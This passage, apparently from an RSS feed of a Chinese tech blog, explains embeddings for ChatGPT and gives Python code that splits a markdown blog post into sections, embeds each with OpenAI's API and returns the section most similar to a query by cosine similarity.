86%E5%90%8C%E8%A1%8C%E4%B8%8E%E6%88%90%E5%88%86%2C%3A101630153015300.0109.0109.0109.33%20SHANGHAL.ALYUNGS%2CCOM%2FELO9%2F304192304273.01A%E5%85%B3%E4%BA%8E%E8%BF%99%E4%B8%AA%E9%97%AE%E9%A2%98%E5%85%B6%E5%AE%9E%E7%8E%B0%E6%B2%A1%E6%9C%89%E6%89%BE%E5%88%B0%E5%B0%86%E5%88%AB%E5%85%85%E7%BE%8E%E7%9A%84%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%2C%E5%90%8C%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%80%E6%AD%A5%E4%BD%BF%E7%94%A8%E7%9A%84%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%2C%E7%BD%91%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%80%E6%AD%A5%E4%BD%BF%E7%94%A8%E7%9A%84%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%2C%E5%90%8C%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%80%20%E6%98%AF%E4%BD%BF%E7%94%A8%E4%B8%80%E4%B8%AA%E5%86%B7%E9%97%A8%E7%9A%84%E6%9C%8D%E5%8A%A1%E9%9B%B7%E4%B8%8A%E6%97%A5%E6%8E%A5%E5%9C%A8NDOWS%E6%9C%8D%E5%8A%A1%E7%95%99%E4%B8%8A%E8%BF%9C%E7%A8%8B%E4%BF%9D%E4%BD%9C%E4%BA%A4%E7%8E%B0%E5%8F%88%E8%B7%9F%E8%80%85%E6%80%BB%E8%AE%A9%E5%88%AB%E4%BA%BA%E6%9D%A5%E6%B3%A8%E5%86%8C.%20&#39;SIMILARTY&#39;%3A%209.9.9%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23484848%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22UkxnW%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2b9d734c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B3%E4%BA%8EEmbeddings%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u76d98d30%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua3ef3537%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E8%AF%B4%E4%BA%86%E8%BF%99%E4%B9%88%E5%A4%9A%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6ce613bf%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u86bb70ca%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%9A%84%E5%90%84%E7%A7%8D%E4%BF%A1%E6%81%AF%EF%BC%8C%E4%BB%94%E7%BB%86%E6%83%B3%E6%83%B3%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u23c49e6f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u34cb10c4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%98%AF%E4%B8%80%E7%A7%8D%E6%8A%8A%E9%97%AE%E9%A2%98%E6%8A%BD%E8%B1%A1%E5%8C%96%E6%88%90%E6%95%B0%E5%AD%A6%E9%97%AE%E9%A2%98%E7%9A%84%E4%B8%80%E7%A7%8D%E6%89%8B%E6%AE%B5%E3%80%82%E5%85%B6%E5%AE%9E%E8%BF%91%E5%87%A0%E5%B9%B4%E5%BE%88%E5%A4%9A%E5%9C%88%E5%AD%90%E9%83%BD%E6%B5%81%E8%A1%8C%E8%BF%87%E7%94%A8%E6%95%B0%E5%AD%A6%E8%A7%A3%E5%86%B3%E9%97%AE%E9%A2%98%EF%BC%8C%E5%B0%B1%E6%AF%94%E5%A6%82%E6%97%A9%E5%87%A0%E5%B9%B4%E5%8C%BA%E5%9D%97%E9%93%BE%E6%B5%81%E8%A1%8C%E7%94%A8%E5%BD%A2%E5%BC%8F%E5%8C%96%E9%AA%8C%E8%AF%81%E5%81%9A%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%EF%BC%8C%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%B5%81%E8%A1%8C%E7%94%A8%E7%9B%B8%E4%BC%BC%E6%80%A7%E9%AA%8C%E8%AF%81%E6%9D%A5%E5%81%9A%E6%90%9C%E7%B4%A2%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u95da9bb5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0f1b0323%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E4%BB%96%E4%BB%AC%E5%A4%A7%E5%A4%9A%E9%83%BD%E9%81%87%E5%88%B0%E4%BA%86%E4%B8%80%E4%B8%AA%E7%B1%BB%E4%BC%BC%E7%9A%84%E9%97%AE%E9%A2%98%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3e85a2cc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%B0%B1%E6%98%AF%E5%BD%93%E4%BD%A0%E8%AF%95%E5%9B%BE%E7%94%A8%E6%95%B0%E5%AD%A6%E6%8A%BD%E8%B1%A1%E9%97%AE%E9%A2%98%EF%BC%8C%E4%BC%9A%E4%B8%8D%E5%8F%AF%E9%81%BF%E5%85%8D%E7%9A%84%E8%AE%A9%E9%97%AE%E9%A2%98%E6%9C%AC%E8%BA%AB%E5%8F%98%E5%BE%97%E8%B7%91%E5%81%8F%E3%80%82%E5%A6%82%E6%9E%9C%E8%AF%B4%E5%8E%9F%E6%9C%AC%E7%9A%84%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%E6%98%AF%E4%B8%BA%E4%BA%86%E8%A7%A3%E5%86%B3%E9%97%AE%E9%A2%98%E8%80%8C%E4%B8%8D%E6%96%AD%E4%BC%98%E5%8C%96%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue3cacd11%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E4%BD%A0%E6%8D%A2%E6%95%B0%E5%AD%A6%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%E9%97%AE%E9%A2%98%E7%9A%84%E5%90%8E%EF%BC%8C%E9%97%AE%E9%A2%98%E5%B0%B1%E5%8F%98%E6%88%90%E4%BA%86%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u098f1bb1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%A6%82%E4%BD%95%E7%94%A8%E6%95%B0%E5%AD%A6%E6%9B%B4%E5%87%86%E7%A1%AE%E7%9A%84%E6%8F%8F%E8%BF%B0%E9%97%AE%E9%A2%98%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u1ab96026%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubb12f9d3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22Embeddings%E5%B0%B1%E6%98%AF%E4%B8%80%E4%B8%AA%E5%BE%88%E5%85%B8%E5%9E%8B%E7%9A%84%E4%BE%8B%E5%AD%90%EF%BC%8C%E8%BF%99%E5%8F%AA%E6%98%AF%E4%B8%80%E4%B8%AA%E6%AF%94%E8%BE%83%E6%B3%9B%E7%9A%84%E6%A6%82%E5%BF%B5%EF%BC%8C%E5%85%B7%E4%BD%93Embeddings%E7%9A%84%E6%8A%80%E6%9C%AF%E6%96%B9%E6%A1%88%E6%9C%89%E5%BE%88%E5%A4%9A%EF%BC%8C%E6%97%A0%E8%AE%BA%E6%98%AF%E5%9F%BA%E6%9C%AC%E7%9A%84%E7%83%AD%E7%8B%AC%E7%BC%96%E7%A0%81%E5%88%B0%20PCA%20%E9%99%8D%E7%BB%B4%EF%BC%8C%E4%BB%8E%20Word2Vec%20%E5%88%B0%20Item2Vec%EF%BC%8C%E4%BB%8E%E7%9F%A9%E9%98%B5%E5%88%86%E8%A7%A3%E5%88%B0%E5%9F%BA%E4%BA%8E%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E5%8D%8F%E5%90%8C%E8%BF%87%E6%BB%A4%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u05b430fe%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%AF%8F%E7%A7%8D%E6%A6%82%E5%BF%B5%E4%BB%A5%E5%8F%8A%E6%8A%80%E6%9C%AF%E6%96%B9%E6%A1%88%EF%BC%8C%E9%83%BD%E6%98%AF%E4%B8%BA%E4%BA%86%E6%9B%B4%E5%87%86%E7%A1%AE%E7%9A%84%E6%89%BE%E5%88%B0%E6%8F%8F%E8%BF%B0%E9%97%AE%E9%A2%98%E7%9A%84%E7%BB%B4%E5%BA%A6%EF%BC%8C%E6%9B%B4%E5%87%86%E7%A1%AE%E8%AE%A1%E7%AE%97%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud23e0a5b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1400b2c8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%B9%9F%E6%AD%A3%E6%98%AF%E5%9B%A0%E6%AD%A4%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u59e86bd9%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%E8%99%BD%E7%84%B6%E6%98%AF%E5%A4%A7%E6%95%B0%E6%8D%AE%E4%B9%83%E8%87%B3AICG%E4%B8%AD%E9%9D%9E%E5%B8%B8%E5%85%B3%E9%94%AE%E7%9A%84%E6%8A%80%E6%9C%AF%E4%B9%8B%E4%B8%80%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue05a8531%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E4%BD%86%E5%9C%A8ChatGPT%E8%BF%99%E4%B8%AA%E5%9C%BA%E6%99%AF%E4%B8%AD%EF%BC%8CEmbeddings%E5%BA%94%E7%94%A8%E7%9A%84%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ucee66d37%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%B8%BB%E8%A6%81%E4%BD%9C%E7%94%A8%E5%B0%B1%E6%98%AF%E8%8A%82%E7%9C%81tokens%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue1335b8c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%E4%BD%86%E6%98%BE%E7%84%B6%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud206864f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%E8%99%BD%E7%84%B6%E8%A2%AB%E5%B9%BF%E6%B3%9B%E5%BA%94%E7%94%A8%E4%BA%8E%E4%BF%A1%E6%81%AF%E5%88%86%E7%B1%BB%E5%92%8C%E8%81%9A%E5%90%88%EF%BC%8C%E4%BD%86%E5%9C%A8%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E7%9A%84%E5%9C%BA%E6%99%AF%EF%BC%8CEmbeddings%E7%9A%84%E8%A1%A8%E7%8E%B0%E5%B9%B6%E4%B8%8D%E5%A5%BD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u50b2419a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%9C%A8%E5%90%8E%E9%9D%A2%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%AD%E4%BC%9A%E8%AE%B2%E5%88%B0%E8%BF%99%E4%BA%9B%E3%80%82%22%7D%5D%7D%5D%2C%22attrs%22%3A%7B%7D%7D"></ne-clipboard></p><p style="min-height: 24px;"><span>在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。</span></p><p style="min-height: 24px;"><strong>1、ChatGPT只能处理文字</strong></p><p style="min-height: 24px;"><strong>2、无论是上下文参考，还是单条对话都有token限制</strong></p><p style="min-height: 24px;"><span>所以在ChatGPT中，很多应用方向遇到的第一个问题就是如何把问题</span><strong>用文字的方式描述</strong><span>出来，其中</span><strong>最典型的场景就是代码分析。</strong></p><p style="min-height: 24px;"><span>所以ChatGPT也鼓励使用</span><strong>Embeddings来做类似搜索、分类或者异常检测的分析</strong><span>，这篇文章就讲讲这个。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>Embeddings</span></h1><p style="min-height: 24px;"><strong>Embeddings是拓扑学中的一个概念</strong><span>，这个词被普遍提出来是在</span><strong>深度学习领域</strong><span>。抛开复杂的理论不谈，简单来说就是</span><strong>通过数学的方式把一个内容给向量化，用一些非常复杂的向量来代替内容本身。</strong><span>这是一种试图通过数学理论解读问题的方案。</span></p><p style="min-height: 24px;"><span>这里我拿一个特别简单的例子来解释一下Embeddings。这里这个例子参考了一个知乎的帖子。</span></p><p style="min-height: 24px;"><span>假设我们需要招聘一个程序员，那么我们可以把招聘需求抽象成</span><strong>5个维度</strong><span>，比如</span><strong>会python，写过项目，名校学历，带过团队，性格特点</strong><span>，在5个维度的基础上，我们可以把候选人的能力抽象为数字。</span></p><p style="min-height: 24px;"><span>比如说[1,1,0,0,1]，当然用0和1是精度比较低的，</span><strong>你可以用0.几来替代每个向量中对预期的符合度。</strong><span>在这个5维的向量标准下，我们可以把多个候选人的简历抽象为多个5维向量组，并且通过对多个5维向量组做一定的数学计算，这样就可以得出最合适的候选人。</span></p><p style="min-height: 24px;"><span>当然，这只是一个简单的例子。在深度学习的领域，</span><strong>Embeddings的计算还涉及到核函数的优化过程。对于使用者来说，我们不需要刨开黑盒讨论这些。</strong></p><p style="min-height: 24px;"><span>在ChatGPT中，openai提供了官方的计算</span><strong>Embeddings</strong><span>的API，当然这是收费的。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3134057971014493" width="1505.4545128246978" data-type="png" data-w="1656" src="https://wechat2rss.xlab.app/img-proxy/?k=2740b910&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USox2Ow85xeZh1SYIrXiarLia6zStF8XibO6nEFWOq6E2ryFx79979ibd9BYKPVw769ics6z20yrJNfZnw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>通过openai的api，我们就可以把信息转化为</span><strong>Embeddings</strong><span>向量。在Openai的文档中，我们可以看到每个模型的核方案对应的要求以及价格。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6399535423925667" width="782.7272557621163" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=8ad6afe1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USox2Ow85xeZh1SYIrXiarLiazncGYXosJ7I9mrMWPICYUhne9zkeyl183vSbkhWqBbCYu6jKEZhKdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>其中</span><span style="color: rgb(53, 55, 64);font-size: 16px;"> text-embedding-ada-002这个模型整体表现最好而且还便宜，更适用于</span><strong>Embeddings</strong><span style="color: rgb(53, 55, 64);font-size: 16px;">。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span style="color: rgb(53, 55, 64);">举个栗子</span></h1><p style="min-height: 24px;"><span style="font-size: 16px;">这里我们还是拿上篇文章的例子来聊，拿我的博客内容来进一步处理。在上篇文章中我们准备数据集的时候就遇到了几个问题。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">1、</span><strong><span style="font-size: 16px;">博客内容普遍超过2000token</span></strong><span style="font-size: 16px;">，并且更普遍的是，文章内容中有大量的代码，甚至图片内容</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">2、可能是</span><strong><span style="font-size: 16px;">由于博客内容分割严重，也可能是由于GPT3本身的学习能力有限</span></strong><span style="font-size: 16px;">，学习的结果很差。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这种情况下，我们就可以尝试用Embeddings把内容向量化，再做进一步的处理。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">我们通过把文章本身向量化，然后再把问题向量化，在</span><strong><span style="font-size: 16px;">对比两部分的余弦相似度，最终返回相似度最高的文章。</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然，对比文章相似度这种信息颗粒度还是太低了，理论上来说，你可以选择</span><strong><span style="font-size: 16px;">把文章按照自然段划分</span></strong><span style="font-size: 16px;">并分别处理，当然如何关联多个自然段也是一个问题。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里我用一个比较简单的例子</span><strong><span style="font-size: 16px;">，把文章按照#划分自然段，然后标上标题，并通过openai的api来计算embeddings.</span></strong></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">import pandas as pd<br/>import tiktoken<br/>import codecs<br/>import re<br/>from openai.embeddings_utils import get_embedding<br/>embedding_model = &#34;text-embedding-ada-002&#34;<br/>embedding_encoding = &#34;cl100k_base&#34;  <br/>max_tokens = 8000<br/>file = &#34;chatgpt1.md&#34;<br/>f = codecs.open(file, &#39;r&#39;, encoding=&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br/>text = f.read()<br/>m1 = re.search(r&#39;title: (.+)\n&#39;, text)<br/>title = m1.group(1)<br/>matchs = re.findall(r&#39;\#+[^\#]*&#39;, text) # 匹配标题和内容<br/>for match in matchs:<br/>    m2 = re.search(r&#39;\#+.*&#39;, match)<br/>    t2 = m2.group(0)<br/>    r = &#34;Title: {} - {}\nContent:{}&#34;.format(title, t2, match)<br/>    # print(r)<br/>    em = get_embedding(r, engine=embedding_model)<br/>    print(em)</pre><p style="min-height: 24px;"><span style="font-size: 16px;">运行就可以查看到结果</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4098173515981735" width="796.3636191029198" data-type="png" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=7f10a426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USox2Ow85xeZh1SYIrXiarLiaIyXNqDsibh68P3Mm5aNr2Y9xqOhwB7W7OVsGNSP2lnhTHViaTcUanwow%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后我们在这个基础上对上述的向量化数据存档，然后一一对比相似度。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">import pandas as pd<br/>import tiktoken<br/>import codecs<br/>import re<br/>from openai.embeddings_utils import get_embedding, cosine_similarity<br/>embedding_model = &#34;text-embedding-ada-002&#34;<br/>embedding_encoding = &#34;cl100k_base&#34;  <br/>max_tokens = 8000<br/>textlist = []<br/>search_text = &#34;ip被封了怎么办？&#34;<br/>file = &#34;chatgpt1.md&#34;<br/>f = codecs.open(file, &#39;r&#39;, encoding=&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br/>text = f.read()<br/>m1 = re.search(r&#39;title: (.+)\n&#39;, text)<br/>title = m1.group(1)<br/>matchs = re.findall(r&#39;\#+[^\#]*&#39;, text) # 匹配标题和内容<br/>for match in matchs:<br/>    m2 = re.search(r&#39;\#+.*&#39;, match)<br/>    t2 = m2.group(0)<br/>    r = &#34;Title: {} - {}\nContent:{}&#34;.format(title, t2, match)<br/>    # print(r)<br/>    em = get_embedding(r, engine=embedding_model)<br/>    search_embedding = get_embedding(<br/>        search_text,<br/>        engine=&#34;text-embedding-ada-002&#34;<br/>    )<br/>    similarity = cosine_similarity(em, search_embedding)<br/>    c = {<br/>        &#34;content&#34;: r,<br/>        &#34;similarity&#34;: similarity<br/>    }<br/>    textlist.append(c)<br/>sorted_list = sorted(textlist, key=lambda k: k[&#39;similarity&#39;])<br/>print(sorted_list[-1])</pre><p style="min-height: 24px;"><span>通过这段代码我们在文章中搜索和&#34;ip被封了怎么办？&#34;这个问题相似度最高的段落，最终我们得到答案。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.14157706093189965" width="1014.5454325557745" data-type="png" data-w="1116" src="https://wechat2rss.xlab.app/img-proxy/?k=45b94214&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USox2Ow85xeZh1SYIrXiarLiaZvVB6ZlH90ib9PLrmkDUvvJKHOO6IOmhn7mx8ta2Gsiag00cibbOfbiaZQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>关于Embeddings</span></h1><p style="min-height: 24px;"><span>其实说了这么多</span><strong>Embeddings</strong><span>的各种信息，仔细想想，</span><strong>Embeddings</strong><span>是一种把问题抽象化成数学问题的一种手段。其实近几年很多圈子都流行过用数学解决问题，就比如早几年区块链流行用形式化验证做代码分析，大数据流行用相似性验证来做搜索。</span></p><p style="min-height: 24px;"><span>但他们大多都遇到了一个类似的问题，</span><strong>就是当你试图用数学抽象问题，会不可避免的让问题本身变得跑偏。如果说原本的程序设计是为了解决问题而不断优化。</strong><span>当你换数学方案来解决问题的后，问题就变成了，</span><strong>如何用数学更准确的描述问题。</strong></p><p style="min-height: 24px;"><span>Embeddings就是一个很典型的例子，这只是一个比较泛的概念，具体Embeddings的技术方案有很多，无论是基本的热独编码到 PCA 降维，从 Word2Vec 到 Item2Vec，从矩阵分解到基于深度学习的协同过滤。</span><strong>每种概念以及技术方案，都是为了更准确的找到描述问题的维度，更准确计算。</strong></p><p style="min-height: 24px;"><span>也正是因此，</span><strong>Embeddings虽然是大数据乃至AICG中非常关键的技术之一</strong><span>，但在ChatGPT这个场景中，Embeddings应用的</span><strong>主要作用就是节省tokens</strong><span>。但显然，</span><strong>Embeddings虽然被广泛应用于信息分类和聚合，但在代码分析的场景，Embeddings的表现并不好</strong><span>，在后面的文章中会讲到这些。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/05/25/chatgpt5/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=045ed927&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247483998%26idx%3D1%26sn%3D5172d8a51f551754a99a01d5d24b81dd%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 May 2023 15:18:00 +0800</pubDate>
    </item>
    <item>
      <title>从0到1的ChatGPT - 进阶篇（四）- 训练自己的ChatGPT</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247483989&amp;idx=1&amp;sn=e5231332cd9fff6c1b3eacd8deb43220</link>
      <description>在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。但这并不意味着ChatGPT没有能力学习你的回答。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-05-19 16:17</span> <span style="display: inline-block;">北京</span>
</p>

<p>在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。但这并不意味着ChatGPT没有能力学习你的回答。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0ea8d973&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaicTnQGlxJQK9TaF8BR2EeLicEHtfEbdX2VaNtOhCoNkyxA4Hm2AfkUsQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard data="%7B%22type%22%3A%22fragment%22%2C%22name%22%3A%22%23fragment%22%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue5183ca3%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubbf95bcd%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%9C%A8%E4%B9%8B%E5%89%8D%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%AD%E6%9B%BE%E7%BB%8F%E6%8F%90%E5%88%B0%E8%BF%87%EF%BC%8CChatGPT%E5%85%B6%E5%AE%9E%E6%98%AF%E4%B8%8D%E6%8E%A5%E5%8F%97%E6%9D%A5%E8%87%AA%E4%BA%92%E8%81%94%E7%BD%91%E7%9A%84%E7%9F%A5%E8%AF%86%E7%9A%84%EF%BC%8C%E4%BB%96%E7%9A%84%E6%89%80%E6%9C%89%E5%86%85%E5%AE%B9%E9%83%BD%E6%98%AF%E6%9D%A5%E8%87%AA%E4%BA%8E%E8%87%B3%E5%B0%913%E5%B9%B4%E5%89%8D%E5%90%84%E7%A7%8D%E6%9D%A5%E6%BA%90%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u32bddfc8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BD%86%E8%BF%99%E5%B9%B6%E4%B8%8D%E6%84%8F%E5%91%B3%E7%9D%80ChatGPT%E6%B2%A1%E6%9C%89%E8%83%BD%E5%8A%9B%E5%AD%A6%E4%B9%A0%E4%BD%A0%E7%9A%84%E5%9B%9E%E7%AD%94%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5d6c4831%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uca45a5e7%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7dd3740a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E9%A6%96%E5%85%88ChatGPT%E4%B8%80%E8%88%AC%E4%BC%9A%E6%A0%B9%E6%8D%AE%E4%BD%A0%E5%92%8C%E4%BB%96%E7%9A%84%E9%97%AE%E7%AD%94%E5%86%85%E5%AE%B9%E8%BF%9B%E8%A1%8C%E4%B8%80%E5%AE%9A%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87%E5%8F%82%E8%80%83%EF%BC%8C%E5%85%B6%E6%AC%A1%EF%BC%8C%E7%94%B1%E4%BA%8EChatGPT%E5%AD%A6%E4%B9%A0%E7%9A%84%E5%86%85%E5%AE%B9%E4%B9%8B%E5%BA%9E%E5%A4%A7%EF%BC%8C%E4%BD%A0%E9%80%9A%E8%BF%87%E4%B8%80%E7%A7%8D%E7%9B%B4%E7%99%BD%E7%9A%84%E6%96%B9%E5%BC%8F%E9%97%AE%E4%B8%8D%E5%88%B0%E7%9A%84%E7%AD%94%E6%A1%88%E4%B8%8D%E4%B8%80%E5%AE%9A%E6%98%AF%E4%BB%96%E4%B8%8D%E4%BC%9A%EF%BC%8C%E6%9C%89%E5%8F%AF%E8%83%BD%E6%98%